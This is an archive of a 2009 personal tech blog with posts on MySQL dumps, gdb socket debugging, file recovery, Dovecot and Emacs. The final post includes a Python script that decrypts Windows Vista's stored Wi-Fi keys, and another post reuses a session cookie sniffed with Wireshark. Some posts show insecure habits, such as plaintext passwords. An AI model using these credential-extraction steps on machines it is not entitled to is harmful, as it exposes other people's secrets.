- Make note of the binary-log position on the master with SHOW MASTER STATUS;
- Dump out the future master with mysqldump, using the --lock-all-databases or --master-data options
- Release the locks, load the data on the server, start the slave.

The idea behind the locks is so that the dump is a consistent snapshot
of the database. No activity should happen between taking the lock and
finishing the dump. Presumably, that means that the master's position
in the binary log as given by SHOW MASTER STATUS; should not change after the user issues FLUSH TABLES WITH READ LOCK;

But that presumption would be wrong. Here's what I did:

Open mysql, issue:


mysql> flush tables with read lock;
Query OK, 0 rows affected (0.00 sec)

mysql> show master status;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000124 |    21494 |              |                  |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Leave that session open. At the command line, issue:


$ mysqldump -u root -p'the-password' --databases names of the databases  --master-data |gzip > masterdump.sql.gz

Go back to the read lock session. Issue flush-tables again. And, lo and behold:


mysql> show master status;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000124 |    21565 |              |                  |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

The position changed! Evidently, --master-data (which is supposed to
stick the CHANGE MASTER TO statement into the dump so the user doesn't
have to) must either release the original read lock or perform an
action that bypasses it.

The CHANGE MASTER TO statement included by --master-data refers to the
latter timepoint:


--
-- Position to start replication or point-in-time recovery from
--

CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000124', MASTER_LOG_POS=21565;

So, what happened between 21494 and 21565? Dumping the log reveals:


# mysqlbinlog /var/log/mysql/mysql-bin.000124

[most of log snipped]

# at 21494
#090916 13:38:32 server id 8887  end_log_pos 21565      Query   thread_id=86    exec_time=0     error_code=0
SET TIMESTAMP=1253122712/*!*/;
FLUSH TABLES/*!*/;
DELIMITER ;
# End of log file
ROLLBACK /* added by mysqlbinlog */;
/*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;

Between 21494 and 21565, the log contains a 'set timestamp', 'flush
tables', and 'delimiter' statement. These must have been added by
mysqldump.

I'm assuming that those statements have no effect on the integrity of
the dump. Still, I find it a bit surprising that the manual doesn't
mention this. (Interestingly, if you issue the --lock-all-tables
option instead of --master-data, mysql does the same thing, except
that CHANGE MASTER TO is not included in the dump. You have to add it
yourself, deciding whether to trust the pre-dump or post-dump
timestamp.

For reference, I'm using Debian's mysql-server-5.0 package, version
5.0.51a-24+lenny2.

Windmill Testing Framework == AWESOME

2009-09-21T11:14:00.000-07:00

The Windmill Testing Framework was written by the Open Source Applications Foundation (of Chandler and Dreaming in Code fame) is simply awesome. Not only was the project easy to install and fairly easy to start working with, not only were the people on the IRC channel really helpful, but, after I wrote my tests in Firefox on Linux, I switched to Internet Explorer on Windows and ran them all...without changing a thing.

Actually -- that's not exactly true -- I had to adjust the waitForPageLoad timeouts upwards to account for my currently-slow Internet connection and some caching issues inside my code. But besides that, I was stunned by how easy it was to switch browsers (which is the whole point of automated testing, anyway).

It was a little difficult to get started, because (a) the documentation for Windmill is a bit sparse; it's a fairly new project and (b) it wasn't obvious to me what the Right Way to set up test cases was. You can save the tests as Python or JavaScript; you can run the tests from the command line, or, it appears, within the browser by serving static .js files from your server. I haven't tried the latter cases; I saved the tests in Python and run them from the command line. They work great. Windmill even has Flash integration in the works. I hand-hacked my Flash integration by providing ExternalInterface hooks that I call from Windmill to assert various things about the state of the Flash, but I'm looking forward to see theirs in the next release.

One note: when you install Windmill, ez_setup might complain about a syntax error. This is probably fixed by now, but the IRC channel people advised me that it could be safely ignored -- the file in question isn't currently used.

Firefox automation

2009-09-09T07:53:00.000-07:00

I have access to a web page that produces interesting pipe-delimited data, given a number. There are several hundred numbers for which I want data. The website is behind a gnarly security system to which I have access, but so far, only via a browser---I don't really want to try to figure out how to get access to it from a scripting environment like Python. The login process involves SSL, cookies, a bunch of redirects, and other things that would probably take ages to work out.

There are a bunch of Firefox plugins that claim to handle browser automation. My task is pretty simple, so this should be a nice test:

Pop a number x from a predefined array of numbers. If the array is empty, stop.
Plug x into the form.
Submit the form.
The web site will send back a pipe-delimited text file. Save that under the name x.txt.
Go back to 1.

Here's what I tried:

CoScripter by IBM Research. Includes record function! Nice use of natural language. But it can't interact with browser chrome. Plonk. (Also: deleting a command is counterintuitive: you have to backspace all over it, rather than right-clicking and picking "delete" or similar.)

ChickenFoot by Michael Bolin from csail. No record function, but it has a tempting write() function. Unfortunately, the server sends the file as

Content-Disposition: attachment; filename="filename.txt"

Content-Type: application/octet-stream

...which forces Firefox to pop up the "You have chosen to open" dialog box no matter what and grays out the "Do this automatically from now on" check box, so you have to sit there and click. Not cool. This is a firefox problem, not a ChickenFoot problem.

Eh. I fired up Wireshark, copy-pasted the cookie, and used Python to automate the fetch. That worked.

Dependencies

2009-09-08T22:27:00.000-07:00

If you need to run java on Debian, you can install gij.
If you need to run ant, you can install ant.

Unfortunately, if you do this, ant might not work. You may get an error like this:

$ ant
Unable to locate tools.jar. Expected to find it in /usr/lib/jvm/java-1.5.0-gcj-4.3-1.5.0.0/lib/tools.jar

That file is actually part of the package java-gcj-compat-dev, which is for whatever reason not an ant dependency. Install it and the problem might go away.

Threadsafety and matplotlib/pylab

2009-09-01T23:22:00.001-07:00

Matplotlib and pylab are two different interfaces to the same (very useful) python plotting library. Pylab is the easier-to-use and more succinct of the two, but, unfortunately, it relies on global state which makes it most definitely _not_ threadsafe. If you try to use it on a multithreaded web application, you'll get graphs overlaid on top of each other, random changes to your graph parameters, and all sorts of other nasties that don't really bear mentioning.

You can avoid this by switching to matplotlib's Figure()-based api. This thread has a nice example. (Note that the thread is actually about a failure of matplotlib to work multithreadedly. But it sounds like an obscure one.)

The single best article on consumer-driven health-care I've read in ages

2009-08-13T13:57:00.000-07:00

http://www.theatlantic.com/doc/print/200909/health-care

gdb to the rescue

2009-08-10T15:28:00.000-07:00

I've written a program that starts a bunch of threads, reads a bunch of data from various computers on the Internet, packs it up, and ships it off to another computer for safekeeping. It runs several times an hour, triggered by a cron job. I also have a watchdog alarm that goes off if that process hasn't run for a while.

Today, the alarm went off. I investigated and realized that one of the several thousand threads it launched was hanging because I'd opened a socket using without setting a timeout. The process won't finish until each and every thread finishes, so that single socket was holding up everything. I wrote the program in Python with urllib, and I'd failed to add a line like this to the top:

SOCKET_TIMEOUT = 20
socket.setdefaulttimeout(SOCKET_TIMEOUT)

The problem was that I didn't want to lose the data that was inside these processes by simply killing them -- it's time-sensitive. If I lost those readings, there would be no way to get them back. But I couldn't think of an easy way to close those sockets. I looked into tcpkill, but that only works if packets are moving back and forth. These threads were hanging because the destination server wasn't sending anything.

Fortunately, there was a fairly straightforward solution.

First, I did a quick scan for the stuck processes:

$ lsof |grep python|grep www

python    14139        jdb   12u     IPv4  155056253                 TCP mybox:49535->failpc:www (ESTABLISHED)
python    24844        jdb   28u     IPv4  154951225                 TCP mybox:60415->failpc:www (ESTABLISHED)
python    26287        jdb   26u     IPv4  153763806                 TCP mybox:44628->failpc:www (ESTABLISHED)
python    28168        jdb    9u     IPv4  155145417                 TCP mybox:37225->failpc:www (ESTABLISHED)

This used lsof to list all sockets held by Python processes that were connected to port 80 (www) on the remote machine. "mybox" is my machine, and "failpc" is the machine that's doing nothing.

The fourth column is the file descriptor for those sockets. The 'u' means that the descriptor is both readable and writable.

I used gdb to unstick the processes by closing the sockets:


$ gdb /usr/bin/python
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) attach 14139
Attaching to program: /usr/bin/python, process 14139
Reading symbols from /lib/i686/cmov/libpthread.so.0...done.
[Thread debugging using libthread_db enabled]
[New Thread 0xb7d416c0 (LWP 14139)]
[New Thread 0xb5906b90 (LWP 20872)]
Loaded symbols for /lib/i686/cmov/libpthread.so.0

(a whole bunch of loading-symbols cruft was snipped)


(gdb) print close(12)
[Switching to Thread 0xb7d416c0 (LWP 14139)]
$1 = 0
(gdb) cont
Continuing.
[Thread 0xb5906b90 (LWP 20872) exited]

Program exited normally.

What I did was open gdb, attach to the running python process, and call close() on the socket. The offending thread exited, and the supervisor thread eventually noticed, gathered the data from all the threads, saved it, and exited.

The reality was a bit messier: the threads opened two sockets in a sequence, so I had to repeat the above steps for each thread: I ran lsof to find the new file descriptor, hit Control-C in GDB to stop the process again, and closed the new FD, too. I could also have left tcpkill running with parameters like this

tcpkill -i eth0 dst host failpc

...which would have killed new connections to failpc as soon as they were opened. I used that approach for most of the connections to save time.

You might not be able to reuse gdb processes -- in my case, if I tried to attach to a second process after the first one exited, gdb printed warnings like:

warning: Cannot initialize thread debugging library: versions of libpthread and libthread_db do not match

I found it easier just to quit and start a new session each time.

Softwar

2009-08-05T16:50:00.001-07:00

Thoughts on Softwar, former Economist correspondent Matthew Symonds's bio of Larry Ellison.

Symonds's agent, Andrew Wylie, brokered a deal in which Ellison had the right of reply---in footnotes. These added some color to the book, but not as much as I'd hoped.
Most of his conversations with Ellison appear to have taken place on private planes, yachts, or exotic resorts --- not the places that one would expect to find a biographer who wanted to play Robert Caro to Ellison's Robert Moses. The author himself is in twenty percent of the book's group photos featuring an adult Ellison.
The most interesting part of Ellison's career --- how he went from being an itinerent rock-climbing hacker to founder of a fast-growing database company --- is compressed into far too few pages. I realize that paper is expensive these days, but I would have preferred more material about Oracle/SDL/RSI's early stages and fewer anecdotes about how Ellison's head of sales talked him into ditching his "cheap Seiko wristwatch" and buying a Rolex---"'but in stainless. I couldn't deal with gold.'" An entire chapter (I skipped it) is devoted to sailboat racing. Some of the "lifestyle" material -- for instance, the Adelyn Lee wrongful-termination/extortion case -- is illuminating. Most isn't.
One early anecdote featured the proto-Oracle nearly running out of cash because, despite some early sales to three-letter intelligence agencies, Ellison & Co. hadn't realized that the feds can spend years between closing a sale and cutting a check.
Ellison himself presents some intriguing ideas. It's better to reengineer business processes to fit software than the other way around (p. 476) Software is so abstract that the key to selling it is customer references: "selling the architecture only works with a few early adopters"; "people have this innate belief that there is safety in numbers". (p.239).
The California Oracle license-sales debacle was, according to Symonds, an attempt to smear Gray Davis that happened to involve Oracle. Oracle, by way of the systems-integrator Logicon, actually gave California a spectacular deal on licenses. When the scandal (which involved an ill-timed campaign donation) broke, Oracle even offered to cancel the contract, but the state declined. (On that note, there are few scandals in the book where Symonds concludes that Ellison or Oracle was less sinned against than sinning.)

Recommended.

No, I don't understand it.

2009-08-04T11:51:00.000-07:00

Exhibit A:
(AP Photo)

Exhibit B:
(link)

pexpect = EPIC WIN

2009-08-02T09:19:00.001-07:00

I needed to read a bunch of data from a database only accessible via a menu-driven Unix shell program. Expect is designed for just this problem, but I understand that it invovles using Tcl, and Tk horrifies me so much that I wanted nothing to do with Tcl whatsoever.

Then I discovered pexpect, which is like expect but uses Python, which was the most win I've ever seen crammed into just 1.3 kloc of source code. Pexpect lets you script programs that expect human input. You tell it what to look for; it tells you what it read; you tell it how to respond. It even works on python 2.3, which was great, because the host with the shell program only had python 2.3.

One pitfall was that either pexpect or python 2.3 tended to leak file descriptors.
If I spawned the database client too many times from my pexpect script, Python would eventually fail with complaints about running out of file handles. This happened even when I called close() on the handles. The solution was to wrap the pexpect script in another python script that in turn called os.system wrote the results to an append-only file. This was a gross hack, but I got the data I needed without wearing out my fingers. Highly recommended.

Amazon: mostly win. Windows: bleh.

2009-07-29T13:22:00.000-07:00

Have you ever needed to run a Windows application without a suitable machine handy? Today, I wanted to install something that required Microsoft IIS. My laptop runs Windows Vista Home Premium*, which has IIS preinstalled. You can activate it by going to Control Panels->Add/Remove Programs->Add/Remove Windows Components. Unfortunately, it lacks a bunch of features that the program required, like Windows Authentication, Digest Authentication, and a bunch of others. So the installer complained and refused to install.

* I wasn't planning on running Vista very often, so I wanted to save on the Microsoft tax.

I have an ancient laptop with Windows XP Pro. Amazingly, it still booted. But I couldn't find the WinXP install CD to install IIS. (Vista keeps the files on disk, so it doesn't need a CD). The hard drive was also full and I didn't want to spend the afternoon nuking old files.

Then I remembered that Amazon's EC2 service lets you run Windows. I thought this was perfect --- I could install the app without actually having to muck around with actual computers.

This blog post is a nice walkthrough. Things have changed a bit since then --- the part about security groups now appears to be automatic (Amazon now walks you through the setup and turns on remote desktop by default). Because Vista Home Premium doesn't have Remote Desktop, I booted into Linux to use rdesktop. (Bliss!)

Things more-or-less worked as expected after that. Some pitfalls to avoid:

The EC2 virtual machine takes forever to boot. I believe there was a 20 minute interval between when Amazon started billing me and when the machine finally went from "pending" to ready, and then from ready to actually ready (ready enough that it would give me the password).
Internet Explorer is set to fascist mode by default. It won't let you download much of anything. Somehow, Firefox became infested with these settings, too, so Firefox won't let you download anything either. All the downloads came up "cancelled". You can switch these settings off by going to Add/Remove Windows Components and turning off Internet Explorer Enhanced Security Configuration.
EC2 blows away your image when you shut down. If you want to keep it, you can use the menu option "Bundle Windows AMI" to save it to S3. (Yeah, that's really obvious.) It will prompt you for an S3 bucket. Note that you have to create buckets in advance and the bucket name has to be globally unique across all S3 users. The EC2 managment console won't tell you that you screwed up until it finishes the agonizingly long "bundling" process, at which point it will say "failed" with the helpful error string "AccessDenied(403)- Access Denied" if your bucket collided with someone else's. You can use a tool like s3fox to create a bucket.
The English in s3fox (example: "IT MAY SO HAPPEN THAT THIS EXTENSION MAY BE DISCONTINUED AT ANY POINT. I WON'T BE HELD RESPONSIBLE FOR THAT.") does not exactly inspire confidence. I do hope that it doesn't send my secret key to Elbonia so that I can wake up to a $5 billion AWS bill next month. That said, S3fox was remarkably easy to use, once I realized that by "folder", it meant "bucket."

Aside from those issues, EC2 was pretty much all win. I didn't have to dig up a WinXP CD, or buy a more outlandish version of Windows, or fiddle with my registry settings, or edit my bootloader, or turn my computer upside-down and strain crushed tomatoes through it. I think the total bill for the month will be about a dollar. Highly recommended.

Public service announcement

2009-07-27T13:55:00.001-07:00

To the people who lame up a perfectly good FFT YouTube video with a voiceover: knock it off. I'm watching for nostalgia. I want the original soundtrack. I don't want to hear your worthless eurobeat playlist*, and I especially do not want to hear you MST3K all over it.

That is all.

* Particularly if it's from some other FF game. What on earth is wrong with you?

PROTIP: When searching YouTube for FFT videos, make judicious use of the -exclude operator to filter the lame posters.

Don't ask questions in Windows filenames.

2009-07-27T09:46:00.000-07:00

Windows doesn't support the ? character in filenames, so Cygwin doesn't, either.

I have a bunch of files in a mercurial repository with question marks in the name. (They're dumps of web pages for testing a bunch of scripts that process web pages, so they're of the form foo.cgi?bar=3&foo=someargument. I noticed after untarring the archive on Windows (I had to move it from the Linux half of my laptop on a MicroSD card; don't ask.) that tar was choking on all of the filenames with ? marks.

You can fix that quite easily with a script like this. (You'll have to run it on a Linux machine or something else that doesn't fail on ? marks, of course.)

#!/usr/bin/python
import subprocess, os
names = subprocess.Popen(r"find . -name '*\?*'", shell=True, \
           stdout=subprocess.PIPE).communicate()[0]
for name in names.split("\n"):
  name = name.strip()
  if not name:
      continue
  print name
  os.system(r"hg mv '%s' '%s'" % (name, name.replace("?", "@")))

I would have done this in bash, but I couldn't figure out how to iterate over filenames with spaces in them.

Cygwin+OMPM=fail

2009-07-27T07:36:00.001-07:00

If you ever have the occasion to install Dell's OpenManage Printer Manager on Windows, note that it may screw up your Cygwin installation -- if it does, cygwin will complain about a shared-memory library version mismatch. I fiddled with the PATH environment variable (Start->Control Panel->Classic View->System->Advanced System Settings->Environment Variables), but I either didn't correct it properly or that wasn't the problem.

I tried movin the c:\program files\dell directory out of the way, but something prevented me from doing so, even after I shut down the OMPM service. Finally, I just uninstalled the thing.

But it wasn't going to go quietly: when I launched Cygwin again, I got the message "bash.exe warning could not create /tmp".

Oh.

The first Google hit to that phrase was this forum post, which suggested running cygwin setup. I ran it, reset the root directory from the directory Dell had used to c:\cygwin, and breezed through the install prompts. It started downloading the base packages again, so I assumed that it didn't see the directory, and stopped it. I then restarted, changed "Install from Internet" to "Install from Local Directory", set c:\cygwin again, and ran through. Cywin installed those packages, but now, instead of getting the bash error message, bash launched but couldn't find anything. Even ls didn't work.

Suspecting a path issue, I ran setup.exe once more, this time changing "Install For" to "All Users (RECOMMENDED)". I think Dell had changed that setting, too. I ran through the process and this time, I closed all cygwin windows before running setup.exe. When I finished with setup.exe and launched cygwin again, it worked.

OK. Next time, I'll use a virtual machine.

(The software does have a Linux version, but that started to choke when I pointed it to my MySQL installation and I just couldn't be bothered to try to debug it.)

Oh wow

2009-07-23T21:50:00.001-07:00

That seems a tad high

2009-07-18T23:22:00.000-07:00

Continental has connecting bus service from Newark to Allentown, PA. You can search for that route directly (without a connection), which yields:

That seems a little high for a 90-minute bus ride. But, hey, under what other circumstance can you earn OnePass miles on a bus?

"It's amazing how much can be accomplished when one is an unemployed bum living in one's parents' basement"

2009-07-18T18:48:00.000-07:00

This guy translated Final Fantasy III into Latin.

I'm not sure how many nerd points you get for that, but it's got to be over 9000.

EPIC saving data FAIL

2009-07-18T08:50:00.000-07:00

I'm not sure how I managed it, but while pulling and merging the latest changes from Mercurial repositories on several machines, I somehow managed to blow away all of the uncommitted changes to one of the files in my working copy.

It's my own fault because I've lost work enough times to know about the emacs variable version-control, which, when t, tells emacs to keep multiple versions of the tilde backup files. (I managed to blow away the original tilde file before I noticed what had happened, so I couldn't use that.)

You can set this variable with (setq version-control t) in your dot-emacs (~/.emacs.el, in my case) file. Or you can do M-x apropos, type in version-control, click the bolded version-control in the frame that opens, click customize in the next frame that opens, pick "Always" from the value menu, and hit "Save for future sessions.". (I prefer the former approach.)

Emacs will thereafter save numbered foo.c.~1~, foo.c.~2~, foo.c.~3~... backup files instead of wiping foo.c~ each time. You can use these to recover from errors like this.

Some people dislike the idea of having lots of ~ files littering their directories. These people must enjoy losing data. Even if you never make a mistake, the software you use must have bugs in it. By all means, do a rm *~ periodically, but do be sure you know your code is committed somewhere, first.

Switching on version-control did nothing to restore the file I'd already lost, of course. To find that, I hard-rebooted (you will want to reboot immediately or the old file risks getting overwritten) into Linux. (I was working in Cygwin on Vista due to network-card issues that do not bear getting in to). I grepped the raw Windows partition for a string I knew was in the file. The grep command was something like this:

grep -a -C 1000 OPTIONAL /dev/sda1 > /root/optional

OPTIONAL was my string and /dev/sda1 was my partition. -C 1000 tells grep to dump 1000 lines of context to each hit (the file I wanted was only a few hundred lines). If you want to monitor the progress of your grep, find its pid with ps, go to /proc/$pid/fd and do an ls -l to find the fd of the file grep is searching (probably 3), and then cat /proc/$pid/fdinfo/$fd to see grep's byte-position in that file.

I then gzipped grep's output, saved it to a flash card (Windows can't read my Linux partitions and Linux can't write my Windows partition), and rebooted into Vista.

If you have a fairly-generic query string like mine, lots of spurious hits will show up. I skipped these by re-grepping the file for other strings that I knew should have been there. I found a mostly-complete copy of the version I wanted and pasted in the appropriate bits. And then I made darn sure to commit my changes.

Lie back and think of Canada

2009-07-17T14:58:00.000-07:00

http://en.wikipedia.org/wiki/Lie_back_and_think_of_England

Open-air pharmacy

2009-07-15T17:07:00.000-07:00

From Freedom to Tinker:

Washington Square, in New York City, was for many years a place where drugs were sold. A fellow would stand around quietly saying to passersby "Smoke, smoke!" However, this so-called "steerer" held no drugs. His role was simply to direct the buyer to the "pitcher", who had the drugs somewhere nearby, and who kept silent.

Was for many years? Past tense? Heck, that happened to me two days ago. I thought the guy was trying to bum a cigarette. I told him I didn't smoke.

Geez, has it really been that long since I last used Cygwin?

2009-07-15T16:39:00.000-07:00

If you want to get the clipboard to work in Cygwin's X server, start X with

X -clipboard -multiwindow

(assuming you also want multiwindowing.)

Twitter: sheer win. On degeekifying the geekery.

2009-07-14T16:56:00.000-07:00

Back when I took the whole "blogging" and "personal website" thing seriously, I had a fairly sophisticated system for seeing who read my blog. I counted referer* headers, search strings, and hits over time with software like visitors. I had my own scripts that grepped the logs for Princeton IPs and resolved them to the names of people visiting. I even emailed people when it looked like their computers were infected with Nimda or Code Red or whatever the virus-of-the-day was back in 2001.

This sort of naval-gazing was great fun -- in fact, I'm sure I made a lot of posts just because I loved seeing the names and numbers scroll by. But I eventually got bored with it, especially after I graduated and moved to a school where I no longer could instantly resolve an IP address to the name of a human being.

It was also a huge pain to make all of that software work, given that I ran Debian Unstable which (true to its name) would occasionally break during an upgrade.

On that note, I used to read blogs with feedonfeeds. One day, an apt-get update broke php4-mysql, which broke feedonfeeds. I would have fixed it, but I realized that I was saving a whole bunch of time by not following the Internet echo chamber, so I never did.

With an RSS reader, you can track lots of peoples' blogs, but you have to understand what RSS is all about, find the RSS links at the sites you use, paste them into your reader, hope that you don't get Atom and RSS 0.9 and RSS 1.0 confused and plug the wrong URL for the wrong format into your reader. (This was apparently a very important technical and even political issue back in the day.) There are very smart people working on RSS readers, but I think it's still too much trouble for a lot of people.

The real genius behind Twitter was combining both of these pieces.

With ordinary web sites, you can use one of a zillion log-analysis plug-ins or, if you have access to the raw logs, roll your own. Neither choice is easy. On twitter, you have a count -- a count! of real human beings! -- following you. And you have their names! Or at least their Twitter handles. You have what I had at Princeton without having to know what httpd.conf is, or how to edit a crontab file, or how to install a Debian package, or any of a zillion other things completely irrelevant to the task of finding out how popular you are on the Internets. Even teenyboppers with Xanga accounts still had to know enough to put the sitemeter tracking bug into their layout, and of course that wouldn't tell them who visited, only the IP address of the visitor. With Twitter, you have a number and a list.

The second thing that Twitter made vastly easier was that it replaced RSS with something far easier. With RSS, you can track what lots of people are writing, but you have to be clued-in enough and sufficiently inclined to bother. Twitter made this trivial:

With RSS:

Find something you'd like to subscribe to.
Hunt around for the RSS link.
Is that it? Is it called XML? RSS? Atom? Feed? News feed? Rich Site Syndication? What?
Does it have that little radar logo? The XML button logo? Where the heck is it? Maybe it's here! Here in the title of the page! Aha! They used the link tag!
Oh, wait, that lets me add it as a Firefox Live Bookmark. I don't want a Firefox Live Bookmark! I want the URL so I can paste it into my reader! (In fairness, Firefox makes this much easier these days, but back in the day, it wasn't easy.)
Do I want the RSS or the Atom? What's the difference?

With Twitter:

Find an interesting feed
Click "follow"

I'll also add that the @notation for replying is total win. Back in the day, I wrote a blog post that linked to another website (sadly offline today; here's the archive), speculating about what the author would have thought. He apparently noticed it in his referer logs and wrote an email to tell me. You'd have to know a fair bit of technical mumbo-jumbo to do that in 2004, but in 2009, I'd just type @whoever into Twitter. Heck, I could even leave out the @; lots of people search for themselves. My hosting company "followed" Over-vu within minutes of my mentioning them.

I'm hardly the first to observe that some of the most successful business ideas on the Internet come from adapting and simplifying things that geeks take for granted. I did log analysis because I could. Few people would find it worth the bother. Twitter made it trivial. I had a personal webpage because I was willing to go to the trouble of building one. I wish I could remember the name of the pundit who observed that what Facebook and Myspace and Friendster did was make it trivial for non-geeks to have a web presence. I could search my email because I knew how to roll a search engine with Lucene and had the always-on server to do it. Gmail made it easy for everyone to search their email.

It's not merely enough to make it easy to use -- all of these applications have been transformative. Twitter affords less space than a blog, which means both that posts fit in SMS messages for mobile users and that terseness becomes a virtue. Facebook doesn't really let you post a homepage -- it lets you fill out forms. Consequently a Facebook profile is far cleaner and more inviting than the average Geocities (or Myspace) page. Twitter doesn't do log analysis and geolocation and referer tracking, but I don't think Twitter users miss these --- popularity as a single number is much easier to understand than "I got 5,603 hits from Yemen last week!" Twitter's follower counts (dare I call them scores?) are even more impressive than facebook friend counts, because you can hide most of your profile from a facebook "friend" and filter them from your news feed, but a twitter follower has to see all of your updates.

The multi-billion-dollar business question is: what do geeks have today that hasn't yet been adapted for the masses?

* Yes, that's the correct spelling in this context.. Whoever wrote the HTTP spec famously spelled it incorrectly.

Dovecot gotchas

2009-07-06T04:54:00.000-07:00

A few days ago, the EECS IT staff sent a series of cryptic emails alluding to a recent "security incident." As far as I could tell, someone had a bad password, some baddie's SSH-bot discovered it, said baddie then logged in to discover that they were on a machine with a r00table system, which they then proceeded to r00t. Unfortunately, this was one of the EECS login servers.

I usually use SSH pubkey auth, but I wasn't 100% certain that I had never typed my passwords on an EECS machine that might have had a keylogger installed, so I decided to change them all. At the same time, I thought I might as well fix a long-standing issue with my system: to log into IMAP via SquirrelMail (if I happened to be behind a fascist firewall or a connection too slow for SSH), I had to enter my actual password. Sure, I was using SSL, but it was with a self-signed certificate for which I didn't always have the fingerprint to hand.

So, after reading the wiki (http://wiki.dovecot.org/AuthDatabase/PasswdFile), I thought I'd just comment out the stanza that used PAM for passwords in /etc/dovecot/dovecot.conf and replace it with:

passdb passwd-file {
args = scheme=plain username_format=%n /etc/imap.passwd
}

I populated the /etc/imap.passwd file as described, with

foo:{plain}mypasswd

(You might be sniffing about the use of plaintext passwords. The password has to go in plaintext in my ~/.muttrc anyway, so I didn't care. And anyone who can read the /etc/imap.passwd file or the ~/.muttrc file could also just read the darn emails in ~/Maildir).

But that didn't work, of course. After setting "auth_debug = yes" and "auth_debug_passwords = yes" in /etc/dovecot/dovecot.conf, I noticed lines like these in the logs:

dovecot: 2009-07-06 07:43:55 Info: auth(default): passwd-file(foo,127.0.0.1): no passwd file: scheme=plain username_format=foo /etc/imap-passwd

Googling that wasn't enormously enlightening, so I tried running strace

# strace -f -o /tmp/st /usr/sbin/dovecot -F

Be sure to include the -f, or you won't catch the login process. The strace logs indicated that dovecot was failing to find a file called "scheme=plain username_format=foo /etc/imap-passwd". Apparently, options weren't supported in whatever version of Dovecot Debian supplied. I've since upgraded to the latest version that Debian provides, but I haven't felt the urge to check if those options are now supported -- I cut back the stanza to this, and it just worked:

passdb passwd-file {
args = /etc/imap-passwd
}

One bonus tip. While I was messing around with dovecot.conf, I changed the userdb as well. It used to point to the standard password file; I changed it to /etc/imap-passwd, as well, for simplicity's sake. The wiki page suggested that this was possible:

userdb passwd-file {
args = /etc/imap-passwd
}

Then I started getting log messages like this

dovecot: 2009-07-06 07:51:20 Error: user foo: Logins with UID 0 not permitted

I didn't bother to investigate this -- I just switched back to using /etc/passwd -- but my guess is that since I didn't specify the UID in the /etc/imap-passwd file, Dovecot assumed that it was 0. Oops.

Mercurial + ediff

2009-06-24T18:29:00.000-07:00

If you want to use Mercurial with Emacs's wonderful ediff->File with Revision command, which lets you selectively accept or reject changes to a file under version control, as far as I know you have to upgrade to emacs22. I don't think vc-hg.el has been backported to 21.

If you don't want to use Mercurial with Emacs's ediff->File with Revision, you really should anyway. It's that awesome.

Unfill-paragraph

2009-06-22T06:56:00.000-07:00

If you use Emacs to compose text that you paste into web forms (like, say, blog posts on blogger), you might want to remove the hard returns on the end of every line. Otherwise, you may get random spurious line breaks when the post is reformatted by a program that replaces \n with
or something equally awful. Here's a piece of code I found ages ago that provides a simple command to undo the formatting.

;; swiped from http://linux.umbc.edu/lug-mailing-list/2002-06/msg00300.html
(defun unfill-paragraph ()
(interactive)
(let ((saved-fill-col fill-column))
 (setq fill-column 9999999)
 (fill-paragraph nil)
 (setq fill-column saved-fill-col)
 ))

(global-set-key "\C-c`" 'unfill-paragraph)

Just add it to your .emacs.el. To use it without restarting emacs, run M-x eval-buffer on .emacs.el.

Security lols

2009-06-22T06:52:00.000-07:00

Windows Vista protects certain sensitive information, like your WEP, WPA, and WEP2 passphrases/keys, by encrypting them with a Windows API function called CryptProtectData. Needless to say, since Windows itself needs to access those keys, there's no way they can be truly hidden from the user, any more so than DRM keys can be truly hidden from the user. (A Fritz-chip can make keys harder to access, but the fact remains that a device in the physical possession of a dedicated individual cannot really be expected to act against that individual's will.) Not that Windows is trying to do so. The Microsoft's manuals even explain how to extract the keys:

If your process runs in the context of the LocalSystem account, then
you can unencrypt key material by calling CryptUnprotectData.

The fun part is, if you're not terribly familiar with Windows, this can take you ages. Here's how I did it.

Before you start, note that there are programs which will do this for you. WirelessKeyView is one. If you're like me, though, you might be worried about running a random closed-source app that wants administrator privileges. Even if LifeHacker liked it. So here's how do to it the hard way.

First, you need to get the encrypted key. On Vista (XP apparently
doesn't bother with this encryption), wireless network keys are stored
in the directory
c:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\, each subdirectory of which is an interface GUID, each subfile of which is an XML document that looks like this:


<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
 <name>This is the name of your network.</name>
 <SSIDConfig>
  <SSID>
   <hex>This is your SSID in hex.</hex>
   <name>This is where your SSID is.</name>
  </SSID>
 </SSIDConfig>
 <connectionType>ESS</connectionType>
 <connectionMode>auto</connectionMode>
 <MSM>
  <security>
   <authEncryption>
    <authentication>open</authentication>
    <encryption>WEP</encryption>
    <useOneX>false</useOneX>
   </authEncryption>
   <sharedKey>
    <keyType>networkKey</keyType>
    <protected>true</protected>
    <keyMaterial>!!!!! This is the key that you want. !!!!!</keyMaterial>
   </sharedKey>
  </security>
 </MSM>
</WLANProfile>

If you have a lot of these files and don't fancy opening them one by one to find the correct interface, do a grep -R for the SSID to find the file you want. If you don't have grep installed, I highly recommend installing Cygwin.

The hex string (replaced by "This is the key that you want" above) in the keyMaterial element contains the encrypted key. In order to decrypt it, you have to call CryptUnprotectData. There is a fair bit of material on the Internets explaining how to call this function. I first tried calling it with
this wrapper library, using Visual C++ Express Edition. I ultimately discovered on this page that said I could use Python instead, so I promptly switched to Python. Here's a little Python program that does the decryption, derived from a program posted by "Dirk" in the comments at the above remkoweijnen.nl blog post.


import win32crypt
mykey='replace this with your keyMaterial'
binout = []
for i in range(len(mykey)):
    if i % 2 == 0:
        binout.append(chr(int(mykey[i:i+2],16)))
pwdHash=''.join(binout)

output =  win32crypt.CryptUnprotectData(pwdHash,None,None,None,0)

print "hex:", "".join(["%02X" % ord(char) for char in output[1]])

print "ascii:", output[1]

Note that to run this, you'll need
the Python for
Windows extensions.. (And, of
course, Python.)

